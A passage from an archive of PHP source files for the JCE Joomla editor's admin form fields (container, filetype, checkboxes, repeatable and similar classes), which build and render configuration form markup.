        for ($i = 0; $i < count($arr1); $i++) {
            if ($arr1[$i] !== $arr2[$i]) {
                return false;
            }
        }

        return true;
    }

    // Function to check if an array exists within another array of arrays
    private function arrayExistsInContainer($container, $array)
    {
        foreach ($container as $containedArray) {
            if ($this->arraysEqual($containedArray, $array)) {
                return true;
            }
        }

        return false;
    }

    /**
     * Build a subform from a container <field> but strip nested <field> descendants.
     *
     * @param  SimpleXMLElement $container  The <field type="container" ...> element (eg. $this->element)
     * @param  array            $data       Data to bind
     * @param  string           $control    Control name
     * @param  string           $name       Form name
     * @return \Joomla\CMS\Form\Form
     */
    private function buildContainerSubForm(SimpleXMLElement $container, array $data, string $control, string $name)
    {
        // Create a minimal wrapper <form><fields/></form>
        $wrapper   = new SimpleXMLElement('<form><fields/></form>');
        $fieldsDst = $wrapper->fields;

        // Take only the container’s *direct* children (field / fieldset)
        // but strip any descendant <field> nodes inside them.
        $directNodes = $container->xpath('./field | ./fieldset');

        // Types that must KEEP their inner <field> schema
        $keepInnerFor = array('repeatable', 'subform'); // add more as needed

        foreach ($directNodes as $node) {
            // Clone the node
            $clone = new SimpleXMLElement($node->asXML());

            $type = (string) $node['type'];

            if (!in_array($type, $keepInnerFor, true)) {
                // Remove ALL descendant <field> nodes from the clone
                foreach ($clone->xpath('.//field') as $desc) {
                    $d = dom_import_simplexml($desc);
                    $d->parentNode->removeChild($d);
                }
            }

            // Append the cleaned clone to the wrapper
            $to   = dom_import_simplexml($fieldsDst);
            $from = dom_import_simplexml($clone);
            $to->appendChild($to->ownerDocument->importNode($from, true));
        }

        // Load the cleaned XML into a new Form (no setFields!)
        $subForm = new Form($name, ['control' => $control]);

        $subForm->load($wrapper);

        // Bind values
        $subForm->bind($data);

        return $subForm;
    }

    /**
     * Method to get the field input markup.
     *
     * @return  string  The field input markup.
     *
     * @since   2.8.13
     */
    protected function getInput()
    {
        $group = $this->group;

        // expand group with container name
        if ($this->element['name']) {
            $group .= '.' . (string) $this->element['name'];
        }

        $children = $this->element->children();

        // extract group data
        $data = $this->form->getData()->get($group);
        // to array
        $data = (array) $data;

        $count = 1;

        $repeatable = (string) $this->element['repeatable'];

        if ($repeatable) {
            // find number of potential repeatable fields
            foreach ($children as $child) {
                $name = (string) $child->attributes()['name'];

                if (isset($data[$name]) && is_array($data[$name])) {
                    $count = max(count($data[$name]), $count);
                }
            }
        }

        // And finaly build a main container
        $str = array();

        if ($this->class == 'inset') {
            $this->class .= ' well well-light p-4 card';
        }

        $str[] = '<div class="form-field-container ' . $this->class . '">';
        $str[] = '<fieldset class="form-field-container-group">';

        if ($this->element['label']) {
            $text = $this->element['label'];
            $text = $this->translateLabel ? Text::_($text) : $text;

            $str[] = '<legend>' . $text . '</legend>';
        }

        if ((string) $this->element['description']) {
            $text = $this->element['description'];
            $text = $this->translateLabel ? Text::_($text) : $text;

            $descriptionClass = isset($this->element['descriptionclass']) ? 'description ' . $this->element['descriptionclass'] : 'description';

            $str[] = '<small class="' . $descriptionClass . '">' . $text . '</small>';

            // reset description
            $this->description = '';
        }

        // repeatable
        if ($repeatable) {
            // collapse
            $str[] = '<div class="form-field-repeatable">';
        }

        $containerValues = array();

        for ($i = 0; $i < $count; $i++) {
            $item = array();

            if ($repeatable) {
                $item[] = '<div class="form-field-repeatable-item well p-3 card my-2">';
                $item[] = '  <div class="form-field-repeatable-item-group">';
            }

            $control = $this->formControl . '[' . str_replace('.', '][', $group) . ']';
            $subForm = $this->buildContainerSubForm($this->element, (array) $data, $control, $this->fieldname);

            $fields = $subForm->getFieldset();

            $defaultValues = array();
            $fieldValues = array();

            foreach ($fields as $field) {
                $tmpField = clone $field;

                $name = (string) $tmpField->element['name'];
                $value = (string) $tmpField->element['default'];

                $defaultValues[] = $value;

                if (empty($name)) {
                    continue;
                }

                if (is_array($data) && isset($data[$name])) {
                    $value = $data[$name];
                }

                $type = (string) $tmpField->element['type'];

                // convert checkboxes value to string
                if ($type == 'checkboxes') {
                    if (is_array($value)) {
                        $value = implode(',', $value);
                    }
                }

                // extract value if this is a repeatable container
                if (is_array($value) && $repeatable) {
                    $value = isset($value[$i]) ? $value[$i] : '';
                }

                // escape values
                if (is_array($value)) {
                    // handle nested arrays
                    array_walk_recursive($value, function (&$item) {
                        if (is_string($item)) {
                            $item = htmlspecialchars($item, ENT_COMPAT, 'UTF-8');
                        }
                    });
                } else {
                    $value = htmlspecialchars($value, ENT_COMPAT, 'UTF-8');
                }

                // store value for repeatable check
                $fieldValues[] = $value;

                $tmpField->value = $value;
                $tmpField->setup($tmpField->element, $tmpField->value);

                if ($repeatable) {
                    // reset id
                    $tmpField->id .= '_' . $i;

                    if (strpos($tmpField->name, '[]') === false) {
                        $tmpField->name .= '[]';
                    }
                }

                $item[] = $tmpField->renderField(array('description' => $tmpField->description));
            }

            if ($repeatable) {
                $item[] = '</div>';

                $item[] = '<div class="form-field-repeatable-item-control">';
                $item[] = '<button class="btn btn-link form-field-repeatable-add" aria-label="' . Text::_('JGLOBAL_FIELD_ADD') . '"><i class="icon icon-plus"></i></button>';
                $item[] = '<button class="btn btn-link form-field-repeatable-remove" aria-label="' . Text::_('JGLOBAL_FIELD_REMOVE') . '"><i class="icon icon-trash"></i></button>';
                $item[] = '</div>';

                $item[] = '</div>';
            }

            // remove empty fields with default values
            if ($count > 1 && $this->arraysEqual($defaultValues, $fieldValues)) {
                continue;
            }

            // only add if unique
            if ($this->arrayExistsInContainer($containerValues, $fieldValues)) {
                continue;
            }

            $str[] = implode('', $item);
            $containerValues[] = $fieldValues;
        }

        // repeatable
        if ($repeatable) {
            $str[] = '</div>';
        }

        $str[] = '</fieldset>';
        $str[] = '</div>';

        return implode("", $str);
    }
}
com_jce/models/fields/blockformats.php000060400000005566152455305310014106 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\CheckboxesField;
use Joomla\CMS\Language\Text;

class JFormFieldBlockformats extends CheckboxesField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'Blockformats';

    /**
     * Name of the layout being used to render the field
     *
     * @var    string
     * @since  3.5
     */
    protected $layout = 'form.field.blockformats';

    protected static $blockformats = array(
        'p' => 'Paragraph',
        'div' => 'Div',
        'div_container' => 'Div Container',
        'h1' => 'Heading1',
        'h2' => 'Heading2',
        'h3' => 'Heading3',
        'h4' => 'Heading4',
        'h5' => 'Heading5',
        'h6' => 'Heading6',
        'blockquote' => 'Blockquote',
        'address' => 'Address',
        'code' => 'Code',
        'pre' => 'Preformatted',
        'samp' => 'Sample',
        'span' => 'Span',
        'section' => 'Section',
        'article' => 'Article',
        'aside' => 'Aside',
        'header' => 'Header',
        'footer' => 'Footer',
        'nav' => 'Nav',
        'figure' => 'Figure',
        'dl' => 'Definition List',
        'dt' => 'Definition Term',
        'dd' => 'Definition Description'
    );

    /**
     * Allow to override renderer include paths in child fields
     *
     * @return  array
     *
     * @since   3.5
     */
    protected function getLayoutPaths()
    {
        return array(JPATH_ADMINISTRATOR . '/components/com_jce/layouts', JPATH_SITE . '/layouts');
    }

    protected function getOptions()
    {
        $fieldname = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname);
        $options = array();

        if (empty($this->value)) {
            $data = array_keys(self::$blockformats);
            $values = $data;
        } else {
            if (is_string($this->value)) {
                $this->value = explode(',', $this->value);
            }
            $values = $this->value;
            $data = array_unique(array_merge($this->value, array_keys(self::$blockformats)));
        }

        // create default font structure
        foreach ($data as $format) {
            if (array_key_exists($format, self::$blockformats) === false) {
                continue;
            }

            $text = self::$blockformats[$format];

            $tmp = array(
                'value' => $format,
                'text' => Text::alt($text, $fieldname),
                'checked' => in_array($format, $values),
            );

            $options[] = (object) $tmp;
        }

        return $options;
    }
}
com_jce/models/fields/popups.php000060400000002375152455305310012741 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\ListField;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;

class JFormFieldPopups extends ListField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'Popups';

    /**
     * Method to get a list of options for a list input.
     *
     * @return array An array of JHtml options
     *
     * @since   11.4
     */
    protected function getOptions()
    {
        $extensions = JcePluginsHelper::getExtensions('popups');

        $options = array();

        foreach ($extensions as $item) {
            $option = new StdClass;

            $option->text = Text::_($item->title, true);
            $option->disable = '';
            $option->value = $item->name;

            $options[] = $option;
        }

        // Merge any additional options in the XML definition.
        return array_merge(parent::getOptions(), $options);
    }
}
com_jce/models/fields/code.php000060400000002305152455305310012316 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\TextareaField;

/**
 * Color Form Field class for the Joomla Platform.
 * This implementation is designed to be compatible with HTML5's `<input type="color">`
 *
 * @link   http://www.w3.org/TR/html-markup/input.color.html
 * @since  11.3
 */
class JFormFieldCode extends TextareaField
{
    /**
     * The form field type.
     *
     * @var    string
     * @since  11.3
     */
    protected $type = 'Code';

    /**
     * Name of the layout being used to render the field
     *
     * @var    string
     * @since  3.5
     */
    protected $layout = 'form.field.code';

    /**
     * Allow to override renderer include paths in child fields
     *
     * @return  array
     *
     * @since   3.5
     */
    protected function getLayoutPaths()
    {
        return array(JPATH_ADMINISTRATOR . '/components/com_jce/layouts', JPATH_SITE . '/layouts');
    }
}com_jce/models/fields/color.php000060400000002325152455305310012524 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\ColorField;

/**
 * Color Form Field class for the Joomla Platform.
 * This implementation is designed to be compatible with HTML5's `<input type="color">`
 *
 * @link   http://www.w3.org/TR/html-markup/input.color.html
 * @since  11.3
 */
class JFormFieldColorPicker extends ColorField
{
    /**
     * The form field type.
     *
     * @var    string
     * @since  11.3
     */
    protected $type = 'ColorPicker';

    /**
     * Name of the layout being used to render the field
     *
     * @var    string
     * @since  3.5
     */
    protected $layout = 'form.field.colorpicker';

    /**
     * Allow to override renderer include paths in child fields
     *
     * @return  array
     *
     * @since   3.5
     */
    protected function getLayoutPaths()
    {
        return array(JPATH_ADMINISTRATOR . '/components/com_jce/layouts', JPATH_SITE . '/layouts');
    }
}
com_jce/models/fields/buttons.php000060400000004361152455305310013106 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\CheckboxesField;

class JFormFieldButtons extends CheckboxesField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'Buttons';

    /**
     * Name of the layout being used to render the field
     *
     * @var    string
     * @since  3.5
     */
    protected $layout = 'form.field.buttons';

    /**
     * Method to get the field label markup for a spacer.
     * Use the label text or name from the XML element as the spacer or
     * Use a hr="true" to automatically generate plain hr markup.
     *
     * @return string The field label markup
     *
     * @since   11.1
     */
    protected function getLabel()
    {
        return '';
    }

    /**
     * Method to attach a JForm object to the field.
     *
     * @param SimpleXMLElement $element The SimpleXMLElement object representing the <field /> tag for the form field object
     * @param mixed            $value   The form field value to validate
     * @param string           $group   The field name group control value. This acts as as an array container for the field.
     *                                  For example if the field has name="foo" and the group value is set to "bar" then the
     *                                  full field name would end up being "bar[foo]"
     *
     * @return bool True on success
     *
     * @since   11.1
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $return = parent::setup($element, $value, $group);

        $this->class = trim($this->class . ' mceDefaultSkin');

        return $return;
    }

    /**
     * Allow to override renderer include paths in child fields
     *
     * @return  array
     *
     * @since   3.5
     */
    protected function getLayoutPaths()
    {
        return array(JPATH_ADMINISTRATOR . '/components/com_jce/layouts', JPATH_SITE . '/layouts');
    }
}
com_jce/models/fields/elementlist.php000060400000003716152455305310013740 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\ListField;
use Joomla\CMS\Language\Text;

class JFormFieldElementList extends ListField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'ElementList';

    /**
     * Method to get the field options.
     *
     * @return array The field option objects
     *
     * @since   11.1
     */
    protected function getOptions()
    {
        $fieldname = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname);
        $options = array();

        $tags = 'a,abbr,address,area,article,aside,audio,b,bdi,bdo,blockquote,br,button,canvas,caption,cite,code,col,colgroup,data,datalist,dd,del,details,dfn,dialog,div,dl,dt,em,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,hr,i,img,input,ins,kbd,keygen,label,legend,li,main,map,mark,menu,menuitem,meter,nav,noscript,ol,optgroup,option,output,p,param,pre,progress,q,rb,rp,rt,rtc,ruby,s,samp,section,select,small,source,span,strong,sub,summary,sup,table,tbody,td,template,textarea,tfoot,th,thead,time,tr,track,u,ul,var,video,wbr';

        foreach (explode(',', $tags) as $option) {
            $value = (string) $option;
            $text = trim((string) $option);

            $tmp = array(
                'value' => $value,
                'text' => Text::alt($text, $fieldname),
                'disable' => false,
                'class' => '',
                'selected' => false,
                'checked' => false,
            );

            // Add the option object to the result set.
            $options[] = (object) $tmp;
        }

        reset($options);

        return $options;
    }
}
com_jce/models/fields/repeatable.php000060400000006756152455305310013526 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Form;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Language\Text;

/**
 * Form Field class for the JCE.
 * Display a field with a repeatable set of defined sub fields
 *
 * @since       2.7
 */
class JFormFieldRepeatable extends FormField
{
    /**
     * The form field type.
     *
     * @var    string
     * @since  2.7
     */
    protected $type = 'Repeatable';

    /**
     * Method to get the field input markup.
     *
     * @return  string  The field input markup.
     *
     * @since   2.7
     */
    protected function getInput()
    {
        $subForm = new Form($this->name, array('control' => $this->formControl));
        $children = $this->element->children();
        $subForm->load($children);
        $subForm->setFields($children);

        // And finaly build a main container
        $str = array();

        $values = $this->value;

        // explode to array if string
        if (is_string($values)) {
            $values = explode(',', $values);
        }

        $fields = $subForm->getFieldset();

        $str[] = '<div class="form-field-repeatable">';

        $key = 0;

        foreach ($values as $value) {
            $class = '';

            // highlight grouped fields
            if (count($fields) > 1) {
                $class = ' well p-3 card my-2';
            }

            $str[] = '<div class="form-field-repeatable-item">';
            $str[] = '  <div class="form-field-repeatable-item-group' . $class . '">';

            $n = 0;

            foreach ($fields as $field) {
                $tmpField = clone $field;

                $tmpField->element['multiple'] = true;

                // substitute for repeatable element
                if (!isset($tmpField->element['name'])) {
                    $tmpField->element['name'] = (string) $this->element['name'];
                }

                if (is_array($value)) {
                    $value = isset($value[$n]) ? $value[$n] : $value[0];
                }

                // escape value
                $tmpField->value = htmlspecialchars($value, ENT_COMPAT, 'UTF-8');

                $tmpField->setup($tmpField->element, $tmpField->value, $this->group);
                
                // reset id
                $tmpField->id = $field->id .= '_' . $key;

                // add as form array
                if (strpos($tmpField->name, '[]') === false) {
                    $tmpField->name .= '[]';
                }
        
                $str[] = $tmpField->renderField(array('description' => $field->description));

                $n++;
            }

            $str[] = '  </div>';

            $str[] = '  <div class="form-field-repeatable-item-control">';
            $str[] = '      <button class="btn btn-link form-field-repeatable-add" aria-label="' . Text::_('JGLOBAL_FIELD_ADD') . '"><i class="icon icon-plus"></i></button>';
            $str[] = '      <button class="btn btn-link form-field-repeatable-remove" aria-label="' . Text::_('JGLOBAL_FIELD_REMOVE') . '"><i class="icon icon-trash"></i></button>';
            $str[] = '  </div>';

            $str[] = '</div>';

            $key++;
        }

        $str[] = '</div>';

        return implode("", $str);
    }
}
com_jce/models/fields/filetype.php000060400000023067152455305310013235 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\TextField;
use Joomla\CMS\Language\Text;

class JFormFieldFiletype extends TextField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'Filetype';

    /**
     * The default value for the field.
     *
     * @var string
     */
    protected $defaultValue = '';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param SimpleXMLElement $element The SimpleXMLElement object representing the <field /> tag for the form field object
     * @param mixed            $value   The form field value to validate
     * @param string           $group   The field name group control value. This acts as as an array container for the field.
     *                                  For example if the field has name="foo" and the group value is set to "bar" then the
     *                                  full field name would end up being "bar[foo]"
     *
     * @return bool True on success
     *
     * @since   11.1
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $return = parent::setup($element, $value, $group);

        return $return;
    }

    private static function array_flatten($array, $return)
    {
        foreach ($array as $key => $value) {
            if (is_array($value)) {
                $return = self::array_flatten($value, $return);
            } else {
                $return[] = $value;
            }
        }

        return $return;
    }

    private function mapValue($value, $isGrouped = false)
    {
        $data = array();

        // no grouping
        if (strpos($value, '=') === false) {
            return array(explode(',', $value));
        }

        foreach (explode(';', $value) as $group) {
            $items = explode('=', $group);
            $name = $items[0];
            $values = explode(',', $items[1]);

            array_walk($values, function (&$item) use ($name) {
                if ($name === '-') {
                    $item = '-' . $item;
                }
            });

            if ($isGrouped) {
                $data[$name] = $values;
            } else {
                // remove empty values
                $values = array_filter($values, function ($value) {
                    return !empty($value);
                });

                $data = array_merge($data, $values);
            }
        }

        if (!$isGrouped) {
            $data = array($data);
        }

        return $data;
    }

    private function cleanValue($value)
    {
        $data = $this->mapValue($value);
        // get array values only
        $values = self::array_flatten($data, array());

        // convert to string
        $string = implode(',', $values);

        // return single array
        return explode(',', $string);
    }

    private function getDefaultValues()
    {
        $defaultValues = [
            'default' => [],
        ];

        foreach ($this->element->children() as $element) {
            if ($element->getName() === 'option') {
                $defaultValues['default'][] = (string) $element;
            }

            if ($element->getName() === 'group') {
                $name = (string) $element['label'];

                $defaultValues[$name] = array();

                // Iterate through the children and build an array of options.
                foreach ($element->children() as $option) {
                    // Only add <option /> elements.
                    if ($option->getName() !== 'option') {
                        continue;
                    }

                    $defaultValues[$name][] = (string) $option;
                }
            }
        }

        return $defaultValues;
    }

    private function isGrouped($values)
    {
        $keys = array_keys($values);

        if (count($keys) == 1) {
            $firstKey = $keys[0];

            if (is_string($firstKey) && $firstKey !== 'default') {
                return true;
            }

        } else {
            return true;
        }

        return false;
    }

    private function reorderItems($items, $values)
    {
        // re-order the items so the non-default items are at the end
        usort($items, function ($a, $b) use ($values) {
            $a = strtolower($a);
            $b = strtolower($b);

            $is_default_a = !empty($values) && in_array($a, $values);
            $is_default_b = !empty($values) && in_array($b, $values);

            if ($is_default_a && !$is_default_b) {
                return -1;
            }

            if (!$is_default_a && $is_default_b) {
                return 1;
            }

            return 0;
        });

        return $items;
    }

    /**
     * Method to get the field input markup.
     *
     * @return string The field input markup
     *
     * @since   11.1
     */
    protected function getInput()
    {
        // cleanup string
        $value = htmlspecialchars_decode($this->value);

        // get default values from the manifest
        $defaultValues = $this->getDefaultValues();

        // remove leading = if any (legacy clean up)
        if ($value && $value[0] === '=') {
            $value = substr($value, 1);
        }

        // check if these values are grouped by type
        $grouped = $this->isGrouped($defaultValues);

        // map value to groups or single array
        $data = $this->mapValue($value, $grouped);

        // reset value from $data for non-grouped values
        if (!$grouped) {
            $value = implode(',', $data[0]);
        }

        $html = array();

        $html[] = '<div class="filetype">';
        $html[] = ' <div class="input-append input-group">';

        $html[] = '     <input type="text" value="' . $value . '" disabled class="form-control" />';
        $html[] = '     <input type="hidden" name="' . $this->name . '" value="' . $value . '" />';
        $html[] = '     <div class="input-group-append">';
        $html[] = '         <a class="btn btn-secondary filetype-edit add-on input-group-text" role="button"><i class="icon-edit icon-apply"></i><span role="none">Edit</span></a>';
        $html[] = '     </div>';
        $html[] = ' </div>';

        $customCount = 0;

        foreach ($data as $group => $items) {
            $custom = array();

            if (empty($items)) {
                continue;
            }

            $html[] = '<dl class="filetype-list list-group">';

            if (is_string($group)) {
                $checked = '';

                $is_default = isset($defaultValues[$group]);

                if (empty($value) || $is_default || (!$is_default && $group[0] !== '-')) {
                    $checked = ' checked="checked"';
                }

                // clear minus sign
                $group = str_replace('-', '', $group);

                $groupKey = 'WF_FILEGROUP_' . strtoupper($group);
                $groupName = Text::_('WF_FILEGROUP_' . strtoupper($group));

                // create simple label if there is no translation
                if ($groupName === $groupKey) {
                    $groupName = ucfirst($group);
                }

                $html[] = '<dt class="filetype-group list-group-item" data-filetype-group="' . $group . '"><label><input type="checkbox" value="' . $group . '"' . $checked . ' />' . $groupName . '</label></dt>';
            }

            if (is_numeric($group)) {
                $group = 'default';
            }

            $items = $this->reorderItems($items, $defaultValues[$group]);

            foreach ($items as $item) {
                $checked = '';

                $item = strtolower($item);

                // clear minus sign from beginning of item
                $mod = str_replace('-', '', $item);

                // check if this is a default value or a custom value
                $is_default = !empty($defaultValues[$group]) && in_array($mod, $defaultValues[$group]);

                $class = '';

                if (!$is_default) {
                    $customCount++;

                    $html[] = '<dd class="filetype-item filetype-custom row form-row list-group-item"><div class="file"></div><input type="text" class="span8 col-md-8 form-control" value="' . $mod . '" />';
                    $html[] = '<button class="btn btn-link filetype-remove"><span class="icon-trash"></span></button>';
                } else {
                    if (empty($value) || $mod === $item) {
                        $checked = ' checked="checked"';
                    }
                    
                    $html[] = '<dd class="filetype-item list-group-item"><label><input type="checkbox" value="' . $mod . '"' . $checked . ' /><span class="file ' . $mod . '"></span>&nbsp;' . $mod . '</label>';
                }
            }

            $html[] = '<dd class="filetype-item filetype-custom row form-row list-group-item"><div class="file"></div><input type="text" class="span8 col-md-8 form-control" value="" placeholder="' . Text::_('WF_EXTENSION_MAPPER_TYPE_NEW') . '" />';

            $html[] = '<button class="btn btn-link filetype-remove"><span class="icon-trash"></span></button>';
            $html[] = '<button class="btn btn-link filetype-add"><span class="icon-plus"></span></button>';

            $html[] = '</dl>';
        }

        $html[] = ' </div>';

        return implode("\n", $html);
    }
}com_jce/models/fields/checkboxes.php000060400000011461152455305310013525 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\ListField;

/**
 * Form Field class for the Joomla Platform.
 * Displays options as a list of checkboxes.
 * Multiselect may be forced to be true.
 *
 * @see    JFormFieldCheckbox
 * @since  1.7.0
 */
class JFormFieldCheckboxes extends ListField
{
    /**
     * The form field type.
     *
     * @var    string
     * @since  1.7.0
     */
    protected $type = 'Checkboxes';

    /**
     * Name of the layout being used to render the field
     *
     * @var    string
     * @since  3.5
     */
    protected $layout = 'form.field.checkboxes';

    /**
     * Flag to tell the field to always be in multiple values mode.
     *
     * @var    boolean
     * @since  1.7.0
     */
    protected $forceMultiple = true;

    /**
     * The comma separated list of checked checkboxes value.
     *
     * @var    mixed
     * @since  3.2
     */
    public $checkedOptions;

    /**
     * Method to get certain otherwise inaccessible properties from the form field object.
     *
     * @param   string  $name  The property name for which to get the value.
     *
     * @return  mixed  The property value or null.
     *
     * @since   3.2
     */
    public function __get($name)
    {
        switch ($name) {
            case 'forceMultiple':
            case 'checkedOptions':
                return $this->$name;
        }

        return parent::__get($name);
    }

    /**
     * Method to set certain otherwise inaccessible properties of the form field object.
     *
     * @param   string  $name   The property name for which to set the value.
     * @param   mixed   $value  The value of the property.
     *
     * @return  void
     *
     * @since   3.2
     */
    public function __set($name, $value)
    {
        switch ($name) {
            case 'checkedOptions':
                $this->checkedOptions = (string) $value;
                break;

            default:
                parent::__set($name, $value);
        }
    }

    /**
     * Method to get the radio button field input markup.
     *
     * @return  string  The field input markup.
     *
     * @since   1.7.0
     */
    protected function getInput()
    {
        if (empty($this->layout)) {
            throw new UnexpectedValueException(sprintf('%s has no layout assigned.', $this->name));
        }

        return $this->getRenderer($this->layout)->render($this->getLayoutData());
    }

    /**
     * Method to attach a JForm object to the field.
     *
     * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
     * @param   mixed             $value    The form field value to validate.
     * @param   string            $group    The field name group control value. This acts as an array container for the field.
     *                                      For example if the field has name="foo" and the group value is set to "bar" then the
     *                                      full field name would end up being "bar[foo]".
     *
     * @return  boolean  True on success.
     *
     * @see     JFormField::setup()
     * @since   3.2
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $return = parent::setup($element, $value, $group);

        if ($return) {
            $this->checkedOptions = (string) $this->element['checked'];
        }

        return $return;
    }

    /**
     * Method to get the data to be passed to the layout for rendering.
     *
     * @return  array
     *
     * @since   3.5
     */
    protected function getLayoutData()
    {
        $data = parent::getLayoutData();

        // True if the field has 'value' set. In other words, it has been stored, don't use the default values.
        $hasValue = (isset($this->value) && !empty($this->value));

        // If a value has been stored, use it. Otherwise, use the defaults.
        $checkedOptions = $hasValue ? $this->value : $this->checkedOptions;

        $extraData = array(
            'checkedOptions' => is_array($checkedOptions) ? $checkedOptions : explode(',', (string) $checkedOptions),
            'hasValue' => $hasValue,
            'options' => $this->getOptions(),
        );

        return array_merge($data, $extraData);
    }

    /**
     * Allow to override renderer include paths in child fields
     *
     * @return  array
     *
     * @since   3.5
     */
    protected function getLayoutPaths()
    {
        return array(JPATH_ADMINISTRATOR . '/components/com_jce/layouts', JPATH_SITE . '/layouts');
    }
}
com_jce/models/fields/fontlist.php000060400000001762152455305310013254 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\FilelistField;

class JFormFieldFontList extends FilelistField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  11.1
     */
    protected $type = 'FontList';

    /**
     * Method to get the field input for a fontlist field.
     *
     * @return string The field input
     *
     * @since   3.1
     */
    protected function getInput()
    {
        if (!is_array($this->value) && !empty($this->value)) {
            // String in format 2,5,4
            if (is_string($this->value)) {
                $this->value = explode(',', $this->value);
            }
        }

        return parent::getInput();
    }
}
com_jce/models/fields/sortablecheckboxes.php000060400000005034152455305310015260 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Form\Field\CheckboxesField;

class JFormFieldSortableCheckboxes extends CheckboxesField
{
    /**
     * The form field type.
     *
     * @var string
     *
     * @since  2.8.16
     */
    protected $type = 'SortableCheckboxes';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param SimpleXMLElement $element The SimpleXMLElement object representing the <field /> tag for the form field object
     * @param mixed            $value   The form field value to validate
     * @param string           $group   The field name group control value. This acts as as an array container for the field.
     *                                  For example if the field has name="foo" and the group value is set to "bar" then the
     *                                  full field name would end up being "bar[foo]"
     *
     * @return bool True on success
     *
     * @since  2.8.16
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $return = parent::setup($element, $value, $group);

        $this->class = trim($this->class . ' sortable');

        return $return;
    }

    private function getOptionFromValue($value)
    {
        $options = parent::getOptions();

        foreach ($options as $option) {
            if ($option->value == $value) {
                return $option;
            }
        }

        return (object) array(
            'value' => $value,
            'text' => $value,
        );
    }

    protected function getOptions()
    {
        $options = parent::getOptions();

        $values = is_array($this->value) ? $this->value : explode(',', $this->value);

        if (!empty($values)) {
            $custom = array();

